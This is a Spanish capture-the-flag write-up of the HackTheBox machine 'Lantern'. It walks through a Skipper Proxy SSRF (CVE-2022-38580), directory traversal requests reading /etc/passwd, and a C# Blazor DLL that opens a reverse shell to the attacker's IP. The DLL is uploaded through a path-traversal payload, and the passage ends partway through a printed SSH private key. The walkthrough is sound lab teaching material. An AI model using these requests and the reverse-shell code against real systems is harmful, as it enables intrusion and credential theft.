Lantern – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

‘Lantern’ Avatar


Sinopsis Link to heading

“Lantern” es una máquina de dificultad Difícil de la plataforma HackTheBox. Esta máquina nos enseña a ejecutar un Server-Side Request Forgery (SSRF) para un Skipper Proxy cuya version es vulnerable a CVE-2022-38580. Además, somos capaces de encontrar credenciales gracias a archivos expuestos un servicio Blazor interno. Finalmente, aprendemos a cómo utilizar ProcMon (que es una herramienta de monitoreo) para capturar credenciales siendo ejecutadas por un script; credenciales las cuales pertenecen al usuario root.


User / Usuario Link to heading

Empezando con un escaneo con Nmap este sólo muestra 3 abiertos: 22 SSH, 80 HTTP y 3000 otro servicio HTTP:

❯ sudo nmap -sVC -p22,80,3000 10.10.11.29

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 22:24 -03
Nmap scan report for 10.10.11.29
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Skipper Proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
<SNIP>
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 14 Nov 2024 01:24:13 GMT
|_    Server: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.43 seconds

Del output del escaneo podemos ver que el sitio HTTP está intentando resolver al dominio lantern.htb. Por lo que agregamos este dominio a nuestro archivo /etc/hosts ejecutando:

❯ echo '10.10.11.29 lantern.htb' | sudo tee -a /etc/hosts

Usando luego WhatWeb contra el sitio muestra:

❯ whatweb -a 3 http://lantern.htb

http://lantern.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.10.11.29], Meta-Author[Devcrud], Script, Title[Lantern]

El sitio se encuentra usando Skipper Proxy.

Buscando, encontramos el repositorio de Github de Skipper Proxy, donde proveen una descripción para este:

Información
Skipper is an HTTP router and reverse proxy for service composition. It’s designed to handle >300k HTTP route definitions with detailed lookup conditions, and flexible augmentation of the request flow with filters. It can be used out of the box or extended with custom lookup, filter logic and configuration sources.

En corto, es un reverse proxy.

Visitando http://lantern.htb en un navegador de internet muestra un simple sitio de IT:

Lantern 1

En la parte superior podemos ver un botón de Vacancies (vacantes). Clickeando en este muestra que la compañía del sitio web está contratando gente. También se proveen algunos nombres de potenciales tecnologías que podría estar usando la compañía como PHP con Laravel, MySQL, PostgreSQL, C#, entre otros:

Lantern 2

En la parte inferior del sitio se nos permite subir un archivo “Resumee” (asumo que un .pdf). Subimos un archivo de prueba .pdf. Solamente obtenemos un mensaje el cual dice que seremos contactados tan pronto como sea posible (spoiler: no nos llaman 🙁). Podemos interceptar las peticiones enviadas con Burpsuite donde obtenemos:

POST /submit HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://lantern.htb/vacancies
Content-Type: multipart/form-data; boundary=---------------------------2118721173461543641767529709
Content-Length: 1204285
Origin: http://lantern.htb
DNT: 1
Connection: close

-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="name"

test
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="email"

test@test.com
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="vacancy"

Middle Frontend Developer
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="message"

HTB
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="resume"; filename="test.pdf"
Content-Type: application/pdf

%PDF-1.4
%Óëéá
1 0 obj
<SNIP>

Nada interesante de momento.

Visitando http://lantern.htb:3000 muestra un simple panel de login:

Lantern 3

Pero éste no es vulnerable a algunas inyecciones o credenciales por defecto típicas no funcionan. De manera que puede que volvamos a este sitio más tarde.

Ya en este punto, dado que subir archivos no devolvió nada interesante, buscaremos por vulnerabilidades para tecnologías usadas por el sitio web. Skipper Proxy muestra una vulnerabiliad catalogada como CVE-2022-38580, con un exploit público en exploit-db el cual puede ser obtenido aquí. Esta es una vulnerabilidad Server-Side Request Forgery (SSRF). La prueba de concepto (PoC) dada va directa al grano:

1- Add header "X-Skipper-Proxy"  to your request
2- Add the aws metadata to the path

Es decir, agregar una cabecera/header X-Skipper-Proxy a la petición y poner los datos deseados allí.

También allí se da un ejemplo, el cual es:

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close

Para revisar si el sitio web usa una versión vulnerable empezamos un servidor HTTP temporal con Python en el puerto 8000:

❯ python3 -m http.server 8000

y, usando Burpsuite, interceptamos la petición enviada a http://lantern.htb agregando el header X-Skipper-Proxy: http://10.10.16.2:8000, de manera que el request enviado es:

GET / HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Skipper-Proxy: http://10.10.16.2:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

y obtenemos algo en nuestro server temporal:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.29 - - [13/Nov/2024 23:00:18] code 404, message File not found
10.10.11.29 - - [13/Nov/2024 23:00:18] "GET http://lantern.htb/ HTTP/1.1" 404 -

El server es vulnerable.

Notamos que podemos cambiar el valor del header a X-Skipper-Proxy: http://127.0.0.1:80 y, dado que el puerto 80 se encuentra abierto, obtenemos código de estado 200. Lo mismo sucede si usamos http://127.0.0.1:3000, donde obtenemos una respuesta interesante:

Lantern 4

El servidor se encuentra corriendo Blazor en el puerto 3000. Podemos ver cómo hemos explotado anteriormente este servicio en la máquina HTB Blazorized. Iremos por el puerto 3000 más tarde.

Por otro lado, obtenemos código 503 si apuntamos a un puerto totalmente aleatorio como 11111.

Esto es interesante dado que podemos usar la vulnerabilidad SSRF para enumerar servicio internos en base a los puertos abiertos. Para esto podemos utilizar ffuf y sólo quedarnos con aquellas respuestas que retornen código de estado 200:

❯ ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -w <(seq 1 65535) --mc 200

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lantern.htb
 :: Wordlist         : FUZZ: /home/gunzf0x/HTB/HTBMachines/Hard/Lantern/exploits/ports.txt
 :: Header           : X-Skipper-Proxy: http://127.0.0.1:FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

80                      [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 264ms]
3000                    [Status: 200, Size: 2862, Words: 334, Lines: 58, Duration: 527ms]
5000                    [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 351ms]
8000                    [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 251ms]
:: Progress: [65535/65535] :: Job [1/1] :: 136 req/sec :: Duration: [0:07:18] :: Errors: 0 ::

Encontramos 4 puertos abiertos: 80, 3000 (los cuales ya habíamos obtenido previamente con el escaneo de Nmap), 5000 y 8000; estos últimos 2 son nuevos.

Revisando el contenido obtenido al apuntar a http://127.0.0.1:5000 (con una herramienta como Burpsuite) devuelve la respuesta:

<SNIP>
      <div id="blazor-error-ui">
        An unhandled error has occurred.
        <a href="" class="reload">Reload</a>
        <a class="dismiss">🗙</a>
    </div>

    <script src="_framework/blazor.webassembly.js"></script>
</body>
<SNIP>

No hay manera de llegar a esta recurso “por el exterior” (por ejemplo, usando cURL):

❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js

<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Pero sí que podemos llegar a este recurso si usamos la vulnerabilidad SSRF agregando el header vulnerable:

❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js -H "X-Skipper-Proxy: http://127.0.0.1:5000"

(()=>{"use strict";var e,t,n;!function(e){window.DotNet=e;const t=[],n=new Map,r=new Map,o="__jsObjectId",s="__byte[]";class a{constructor(e){this._jsObject=e,this._cachedFunctions=new Map}findFunction(e){const
<SNIP>

Podemos leer un archivo JavaScript (el cual es algo grande y lo acorté para mejor visualización del WriteUp).

Podemos guardar esta respuesta:

❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js -H "X-Skipper-Proxy: http://127.0.0.1:5000" > blazor.webassembly.js

y pasar su contenido a una página como https://beautifier.io/ la cual formateará el código y lo hará más agradable de leer y analizar.

Buscando por la palabra framework (similar a como vimos en HTB Blazorized) muestra algunas líneas de código interesante:

Lantern 6

class Ue {
    constructor(e, t) {
        this.bootConfig = e, this.applicationEnvironment = t
    }
    static async initAsync(e, t) {
        const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json"),
            r = n instanceof Promise ? await n : await a(null != n ? n : "_framework/blazor.boot.json"),
            o = t || r.headers.get("Blazor-Environment") || "Production",
            s = await r.json();
        return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new Ue(s, o);
        async function a(e) {
            return fetch(e, {
                method: "GET",
                credentials: "include",
                cache: "no-cache"
            })
        }
    }
}

Esta clase (class) está llamando a _framework/blazor.boot.json.

Tal cual mencioné antes, esto me recuerda a la máquina HTB Blazorized, donde también teníamos archivos .dll expuestos.

Revisando este nuevo recurso:

❯ curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000"

{
  "cacheBootResources": true,
  "config": [ ],
  "debugBuild": true,
  "entryAssembly": "InternaLantern",
  "icuDataMode": 0,
  "linkerEnabled": false,
  "resources": {
    "assembly": {
      "Microsoft.AspNetCore.Authorization.dll": "sha256-hGbT4jDhpi63093bjGt+4XVJ3Z9t1FVbmgNmYYmpiNY=",
      "Microsoft.AspNetCore.Components.dll": "sha256-NJ2GmZOAzlolS7ZPvt5guh86ICBupqwCNK0ygg7fkhE=",
      "Microsoft.AspNetCore.Components.Forms.dll": "sha256-YEcUfJbV\/+SrxppUEKn5jqOg8WptBrdAGaDG+psN8Yg=",
<SNIP>
      "System.Private.CoreLib.dll": "sha256-6rKu8tPdUGsvbSpesoNMVzbx7bNqPRMPV34eI7vSYaQ=",
      "InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
    },
    "extensions": null,
<SNIP>
      "dotnet..lzvsyl6wav.js": "sha256-6AcYHsbEEdBjeNDUUvrQZuRqASd62mZgQgxz4uzTVGU="
    },
    "satelliteResources": null
  }
}%

Tenemos un archivo .dll llamado InternaLantern.dll.

Este recurso existe:

❯ curl -s -I http://lantern.htb/_framework/InternaLantern.dll -H "X-Skipper-Proxy: http://127.0.0.1:5000"

HTTP/1.1 200 OK
Accept-Ranges: bytes
Blazor-Environment: Production
Cache-Control: no-cache
Content-Length: 55808
Content-Type: application/octet-stream
Date: Thu, 14 Nov 2024 03:18:40 GMT
Etag: "1dae2d626a30800"
Last-Modified: Tue, 30 Jul 2024 23:13:56 GMT
Server: Skipper Proxy

Podemos descargar este recurso usando wget (junto con --header para aplicar el SSRF):

❯ wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll

--2024-11-14 00:21:18--  http://lantern.htb/_framework/InternaLantern.dll
Resolving lantern.htb (lantern.htb)... 10.10.11.29
Connecting to lantern.htb (lantern.htb)|10.10.11.29|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 55808 (54K) [application/octet-stream]
Saving to: ‘InternaLantern.dll’

InternaLantern.dll                         100%[========================================================================================>]  54.50K  75.1KB/s    in 0.7s

2024-11-14 00:21:19 (75.1 KB/s) - ‘InternaLantern.dll’ saved [55808/55808]

Podríamos traernos estos archivos a una máquina Windows y analizar este archivo con herramientas como DotPeek o dnSpy. Pero en esta ocasión usaremos una herramienta que puede ser usada en Linux llamada AvalonialLSpy (la cual puede ser descargada desde su respositorio de Github). Nos descargamos la versión respectiva desde Releases para la arquitectura de nuestra máquina de atacantes, descomprimimos el archivo que viene (tendremos un archivo comprimido dentro del archivo comprimido… interesante por decirlo menos) y buscamos el binario de ILSpy en el directorio artifacts. Lo ejecutamos. Luego, simplemente vamos a File -> Open y abrimos el archivo .dll descargado. Eventualmente, en InternalLantern -> InternalLantern.Pages -> Internal podemos ver la información de algunos usuarios en la función OnInitializedAsync:

Lantern

Tenemos algunos usuarios con mensajes encodeados en base64.

Guardamos todos los mensajes encodeados en un archivo y los decodeamos:

❯ cat encoded_dll_info.txt

SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=

❯ for encoded in $(cat encoded_dll_info.txt); do echo $encoded | base64 -d; echo; done

Head of sales department, emergency contact: +4412345678, email: john.s@example.com
HR, emergency contact: +4412345678, email: anny.t@example.com
FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

El último mensaje muestra credenciales: admin:AJbFA_Q@925p9ap#22.

Podemos recordar el servicio corriendo en http:/lantern.htb:3000 y ver si estas credenciales funcionan:

Lantern 7

Funcionaron. Estamos dentro.

Clickeando en la carpeta Files al lado izquierdo podemos ver un archivo app.py con el contenido:

from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
    if request.headers['Host'] != "lantern.htb":
        return redirect("http://lantern.htb/", code=302)
    return render_template("index.html")

@app.route('/vacancies')
def vacancies():
    return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
    name = request.form.get('name')
    email = request.form.get('email')
    vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

    if 'resume' in request.files:
        try:
            file = request.files['resume']
            resume_name = file.filename
            if resume_name.endswith('.pdf') or resume_name == '':
                filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
                upload_folder = os.path.join(os.getcwd(), 'uploads')
                destination = '/'.join([upload_folder, filename])
                file.save(destination)
            else:
                return "Only PDF files allowed!"
        except:
            return "Something went wrong!"
    return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 
    except: 
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000)

Básicamente, éste se encuentra corriendo Flask en el puerto interno 8000 (el cual descubrimos que estaba abierto con el “escaneo” con ffuf abusando del SSRF).

Luego de inspeccionar un poco el código, este es el código que almacena el “Resumee” (archivo .pdf) que habíamos tratado de subir en un comienzo. Por lo que, básicamente, el servicio en el puerto 80 (http://lantern.htb) está corriendo Skipper Proxy y redirigiendo el tráfico a la aplicación Flask. La parte interesante del código yace en la línea:

return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')

El input no está sanitizado y, por tanto, podemos agregar ../ al parámetro que es llamado (/PrivacyAndPolicy?lang=) para intentar un Directory Traversal.

Notamos, además, que al lado izquierdo si clickeamos en Upload content podemos subir imágenes:

Lantern 8

Este imagen se encuentra ahora ubicada en la carpeta Files tal como muestra el mismo portal:

Lantern 9

Podemos ver si el Directory Traversal funciona intentando usar los parámetros hallados para leer archivos como, por ejemplo, el archivo app.py (al clickear en un archivo en la página web, ésta nos muestra su ruta absoluta; ruta que usamos ahora):

❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../var/www/sites/lantern.htb/app&ext=py'

from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
<SNIP>

Funcionó.

¿Pero cómo podemos leer un archivo sin extensión como /etc/passwd?. Bueno, una manera es intentar leer ../../../../../../.././etc/passwd. De hecho, podemos chequear esto mismo en nuestra máquina de atacante:

❯ cat ../../../../../../.././etc/passwd | head -n 3

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Por tanto, intentamos leer el archivo /etc/passwd con este truquillo:

❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../&ext=./etc/passwd'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>

Encontramos 2 usuarios: root y thomas:

❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../&ext=./etc/passwd' | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash

Pero no somos capaces de leer el archivo id_rsa del usuario thomas o algo similar.

De vuelta al panel http://lantern.htb:3000, si buscamos por un módulo que no existe tenemos un error:

Lantern 10

El programa busca por un archivo .dll en /opt/components.

Dado que el servidor está buscando por archivos .dll, y somos capaces de subir archivos, podríamos tratar de subir un archivo malicioso .dll. Para esto, basados en este post necesitaremos una extensión para Blazor para Burpsuite. La instalamos (yendo, en Burpsuite, a Extensions -> BApp Store y buscamos por Blazor).

Ahora, crearemos un archivo C# malicioso (ya que Blazor, el servicio corriendo el servidor web, usa C#). Primero, creamos un proyecto usando dotnet:

❯ dotnet new classlib -n revshell

<SNIP>

Luego, instalamos los paquetes necesarios:

❯ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0

<SNIP>

Entramos en el directorio llamado revshell y editamos el archivo Class1.cs con el contenido:

using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;

namespace revshell{
  public class Component : ComponentBase{
    protected override void BuildRenderTree(RenderTreeBuilder __builder){
      Process proc = new System.Diagnostics.Process();
      proc.StartInfo.FileName = "/bin/bash";
      proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.2/443 0>&1\"";
      proc.StartInfo.UseShellExecute = false;
      proc.StartInfo.RedirectStandardOutput = true;
      proc.Start();

      while (!proc.StandardOutput.EndOfStream){
        Console.WriteLine(proc.StandardOutput.ReadLine());
      }
    }
  }
}

donde 10.10.16.2 es nuestra IP de atacantes y 443 el puerto en el cual nos pondremos en escucha con netcat.

Finalmente, creamos el archivo .dll:

❯ dotnet build -c release

MSBuild version 17.3.0+92e077650 for .NET
  Determining projects to restore...
  All projects are up-to-date for restore.
  revshell -> /home/gunzf0x/HTB/HTBMachines/Hard/Lantern/exploits/revshell_exploit/revshell/bin/release/net6.0/revshell.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:03.87

Esto generará múltiples archivos en el directorio bin/release/net6.0:

❯ ls -la bin/release/net6.0

total 40
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Nov 14 02:54 .
drwxrwxr-x 3 gunzf0x gunzf0x  4096 Nov 14 02:51 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  9850 Nov 14 02:54 revshell.deps.json
-rw-rw-r-- 1 gunzf0x gunzf0x  5120 Nov 14 02:54 revshell.dll
-rw-rw-r-- 1 gunzf0x gunzf0x 11288 Nov 14 02:54 revshell.pdb

De vuelta a la aplicación web, en mi caso intenté interceptar la data enviada a través de Firefox y FoxyProxy, pero no funcionó para peticiones con Blazor. De manera que usé el navegador web que viene incluido con Burpsuite, fui a la página web, y de esa manera sí me registró todos los datos enviados. Podemos entonces revisar el historial HTTP History, borrar el viejo historial, subir una imagen y fijarnos en la primera petición por POST enviada. En este caso en específico obtenemos:

POST /_blazor?id=tVCAQun74z6Qp99JNsu8rg HTTP/1.1
Host: lantern.htb:3000
Content-Length: 172
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
X-SignalR-User-Agent: Microsoft SignalR/0.0 (0.0.0-DEV_BUILD; Unknown OS; Browser; Unknown Runtime Version)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://lantern.htb:3000
Referer: http://lantern.htb:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

ª•€À·BeginInvokeDotNetFromJS•¡4À¬NotifyChangeÙz`{"id":3,"lastModified":"2024-10-30T00:23:16.470Z","name":"UAC_1.png","size":59370,"contentType":"image/png","blob":{}}`

Pero algunos caracteres de la petición no son legibles. Tratamos entonces de subir el archivo .dll y revisar en el historial la petición por POST donde éste ha sido subido. Recomiendo pasar esta petición al Repeater de Burpsuite ya que necesitaremos esta petición que sube un archivo más tarde. Ahora es donde entra en juego el plugin de Blazor para Burpsuite. Realizamos click derecho sobre la petición del historial, vamos a Extensions y enviamos el body a BTP (que es como se llama el plugin):

Lantern 11

Si el plugin está instalado y activo, en la parte superior derecha deberíamos de tener una pestaña llamada BTP. El body que hemos enviado anteriormente debería de estar allí. Seleccionamos la opción Blazor->JSON y clickeamos en Deserialize:

Lantern 12

Podemos entonces modificar el objeto JSON en el panel de la parte derecha. En este caso, ponemos como nombre ../../../../../../../opt/components/revshell.dll para intentar subir un archivo a esta ruta. De manera que el JSON con el payload es:

[{
   "Target": "BeginInvokeDotNetFromJS",
   "Headers": 0,
   "Arguments": [
      "3",
      "null",
      "NotifyChange",
      2,
      `{
         "blob": {},
         "size": 5120,
         "name": "../../../../../../../../opt/components/revshell.dll",
         "id": 2,
         "lastModified": "2024-11-14T05:54:19.455Z",
         "contentType": "application/x-msdownload"
      }`
   ],
   "MessageType": 1
}]

Copiamos su contenido y clickeamos en Clear. Luego, cambiamos el método a JSON->Blazor y clickeamos en Serialize:

Lantern 13

La parte importante es el payload serializado en el panel derecho. Lo copiamos. Podemos entonces ir a la petición que habíamos enviado al Repeater y pasar el payload serializado manipulado en lugar de subir la imagen (es decir, la petición modificada para subir el archivo .dll). No olvidar empezar un listener con netcat.

Si esto ha funcionado el archivo debería de haber sido subido. Es por ello que en el portal corriendo Blazor buscamos por el módulo revshell:

Lantern 14

y en nuestro listener con netcat obtenemos algo:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.29] 56360
bash: cannot set terminal process group (6714): Inappropriate ioctl for device
bash: no job control in this shell
tomas@lantern:~/LanternAdmin$ whoami

whoami
tomas
tomas@lantern:~/LanternAdmin$

Este usuario también tiene una key id_rsa para SSH:

tomas@lantern:~/LanternAdmin$ cat ~/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsKi2+IeDOJDaEc7xXczhegyv0iCr7HROTIL8srdZQTuHwffUdvTq
X6r16o3paqTyzPoEMF1aClaohwDBeuE8NHM938RWybMzkXV/Q62dvPba/+DCIaw0SGfEx2
j8KhTwIfkBpiFnjmtRr/79Iq9DpnReh7CS++/dlIF0S9PU54FWQ9eQeVT6mK+2G4JcZ0Jg
aYGuIS1XpfmH/rhxm1woElf2/DJkIpVplJQgL8qOSRJtneAW5a6XrIGWb7cIeTSQQUQ/zS
go3BtI9+YLG3KTXTqfvgZUlK/6Ibt8/ezSvFhXCMt8snVfEvI1H0BlxOisx6ZLFvwRjCi2
xsYxb/8ZAXOUaCZZrTL6YCxp94Xz5eCQOXexdqekpp0RFFze2V6zw3+h+SIDNRBB/naf5i
9pTW/U9wGUGz+ZSPfnexQaeu/DL016kssVWroJVHC+vNuQVsCLe6dvK8xq7UfleIyjQDDO
7ghXLZAvVdQL8b0TvPsLbp5eqgmPGetmH7Q76HKJAAAFiJCW2pSQltqUAAAAB3NzaC1yc2
EAAAGBALCotviHgziQ2hHO8V3M4XoMr9Igq+x0TkyC/LK3WUE7h8H31Hb06l+q9eqN6Wqk
8sz6BDBdWgpWqIcAwXrhPDRzPd/EVsmzM5F1f0Otnbz22v/gwiGsNEhnxMdo/CoU8CH5Aa
YhZ45rUa/+/SKvQ6Z0Xoewkvvv3ZSBdEvT1OeBVkPXkHlU+pivthuCXGdCYGmBriEtV6X5
h/64cZtcKBJX9vwyZCKVaZSUIC/KjkkSbZ3gFuWul6yBlm+3CHk0kEFEP80oKNwbSPfmCx
tyk106n74GVJSv+iG7fP3s0rxYVwjLfLJ1XxLyNR9AZcTorMemSxb8EYwotsbGMW//GQFz
lGgmWa0y+mAsafeF8+XgkDl3sXanpKadERRc3tles8N/ofkiAzUQQf52n+YvaU1v1PcBlB
s/mUj353sUGnrvwy9NepLLFVq6CVRwvrzbkFbAi3unbyvMau1H5XiMo0Awzu4IVy2QL1XU
C/G9E7z7C26eXqoJjxnrZh+0O+hyiQAAAAMBAAEAAAGAL5I/M03KmEDpeEIx3QB+907TSd
JieZoYO6JKShX1gwt001bZb+8j7f8rma39XSpt96Sb3CpHROFxIGmjsGNWwwkFcGx+snH/
QPxS+PaXs3sGHkF4BXlJ2vWWl9w9i1d4Eq3rM8FrEX700F/p6p0nqntLuV5jNlSxZnw1xP
WWL4E0qbAyx3mKwfMPJvlDyMqnC8JQEb8UCy3W4VDpxtxaLhZh/CfVrzps5AW/ZR82kZbU
zd66S79oOJvs1siDD6CHhTQe/54M/gL6/GZwQWzbQC+W26hfX0BYGQU+TESdzZNmA6/Jdz
4YDgrqXeJ0/o2Q6H/hyeKtOM5PildQIf+tHs48mSvA0GK6lk4RWns9CmY6/KmgXS+OWG4s
jbeGjWfO7Rzbo+jXq1wcPVh7/0b6Nsbrvu/gyV8La35q7ujrO8CvzIquyOP+Em1eKFrdpp
91BwxFurDSSJg+baftOOL4EzzZWQVZcU7x3+1AqZZEjfLqbv2E6zOtRKdf+84Y+vrBAAAA
wQDXxzjGB+bz99oHjEFI2wWaxZ2fKgMIfQEPxENqb48XgECsv6PThyDpyupCG2uTW+bYuW
eqMbE/FE1aljKEyFDeY4hhbUfRqI4HdUKVT1He+BhJiN2d0/qdQK4GhHdsKbFr5CUw9FEA
pgcQV30H5wp00J38wTVRU3/EDf1KbANmYIfmMlzrxNvkQRu2jPVyYzKMfs+zVLp81Y8eSK
P+uudhcrKvixkt/zm7qpiiLw3SDj+7QN5Tj9CKKkvEszwdMJYAAADBAOTb9E07UL8ET8AL
